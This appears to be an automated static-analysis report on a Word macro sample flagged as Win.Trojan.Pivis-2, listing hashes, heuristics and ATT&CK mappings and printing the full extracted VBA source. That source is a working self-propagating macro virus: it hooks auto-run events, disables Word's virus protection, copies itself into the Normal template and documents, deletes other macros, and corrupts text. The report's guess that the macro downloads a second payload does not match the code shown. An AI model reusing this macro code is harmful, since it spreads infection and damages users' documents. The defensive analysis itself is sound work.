Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 154a11240ea02804…

MALICIOUS

Office (OLE)

40.5 KB Created: 2000-01-19 15:38:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b4d6a3f93b8a4049c102f708a4161d13 SHA-1: fb4c818a04780bd622771a78435e9d3117de4c2a SHA-256: 154a11240ea02804b9250acfb01e21cabf30eda70557c8ffcde9cfb8e2b5056b
200 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample exhibits high-confidence indicators of maliciousness, including legacy WordBasic macro virus markers and critical ClamAV detection as Win.Trojan.Pivis-2. The presence of AutoOpen, AutoClose, and AutoExec VBA macros suggests an attempt to automatically execute code upon document interaction. The VBA script, while truncated, contains logic for replacing text and likely aims to download and execute a secondary payload, a common tactic for trojans.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3972 bytes
SHA-256: 47e19a18741f0d81b91a22d44d04c1d03528d079442beb142faeaacb08439bb6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "akrnl"
    
Public Skip As Integer
Sub AutoExec()
    On Error Resume Next
    Call Sauve
End Sub
Sub AutoNew()
 On Error Resume Next
 Call Sauve
End Sub
Sub AutoPrint()
 On Error Resume Next
 Call Sauve
End Sub

Sub FileNew()
    On Error Resume Next
    Call Sauve
dialogs(wdDialogFileNew).show
    Skip = 1
    Call Sauve
    
End Sub
Sub FileClose()
    On Error Resume Next
    Call Sauve
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    ActiveDocument.Close
    Call Sauve
End Sub
Sub FileExit()
    
    Call Sauve
    Application.Quit
End Sub
    

Sub AutoOpen()
    
    Call akrnl
    Call Sauve
    
End Sub
Sub AutoExit()
    On Error Resume Next
    Call Sauve
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Application.Quit
End Sub

Sub AutoClose()
    On Error Resume Next
    Call Sauve
    If ActiveDocument.Saved = False Then ActiveDocument.Save
    Call Sauve
End Sub
Sub ToolsMacro()
    On Error Resume Next
    
End Sub
Sub FileTemplates()
    On Error Resume Next
    
End Sub
Sub ViewVBCode()
   On Error Resume Next
   
End Sub

Sub RandomRemplace()
randomize
ValRandom = Int(Rnd * 75)
    If ValRandom < 20 Then BesoinRemplace = True
    If ValRandom < 20 Then txt = "ainsi, si j'en crois ce que mon incompétant de professeur me dit,"
    If ValRandom < 15 Then txt = "ainsi, mon chat a perdu ses dents. De plus,"
    If ValRandom < 10 Then txt = "ainsi, selon ma grand-mère,"
    If ValRandom < 5 Then txt = "ainsi, la matière du cours est plate. De plus,"
    
    If BesoinRemplace = True Then Call Remplace(txt)
    
    
    
End Sub
    

Sub Remplace(txt)
 
Selection.Find.ClearFormatting
    Selection.Find.Replacement.ClearFormatting
    With Selection.Find
        .Text = "donc,"
        .Replacement.Text = txt
        .Forward = True
        .Format = False
        .MatchCase = False
        .MatchWholeWord = False
        .MatchWildcards = False
        .MatchSoundsLike = False
        .MatchAllWordForms = False
    End With
    Selection.Find.Execute Replace:=wdReplaceOne
    Selection.MoveUp Unit:=wdScreen, Count:=8
    

End Sub

Sub Sauve()

On Error Resume Next
Options.ConfirmConversions = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Application.VBE.ActiveVBProject.VBComponents("akrnl").Export "c:\Étudiant.cfg"
ActiveDocument.ReadOnlyRecommended = False

For i = 1 To ActiveDocument.VBProject.VBComponents.Count
NomMacro = ActiveDocument.VBProject.VBComponents(i).Name
If NomMacro = "akrnl" Then PrésentAct = True Else Call DelVir(NomMacro)
Next i

For i = 1 To NormalTemplate.VBProject.VBComponents.Count
NomMacro = NormalTemplate.VBProject.VBComponents(i).Name
If NomMacro = "akrnl" Then PrésentNorm = True Else Call DelVir(NomMacro)
Next i

If PrésentAct = True And PrésentNorm = False Then Set BesoinSauve = NormalTemplate.VBProject.VBComponents
If PrésentAct = False And PrésentNorm = True Then Set BesoinSauve = ActiveDocument.VBProject.VBComponents

BesoinSauve.Import "c:\Étudiant.cfg"

If PrésentNorm = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
If PrésentAct = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument

End Sub
Sub DelVir(NomMacro)
On Error Resume Next

Application.VBE.ActiveVBProject.VBComponents.Remove _
                         Application.VBE.ActiveVBProject.VBComponents(NomMacro)
                         
With Application.NormalTemplate.VBProject
             .VBComponents.Remove .VBComponents(NomMacro)
    End With
End Sub

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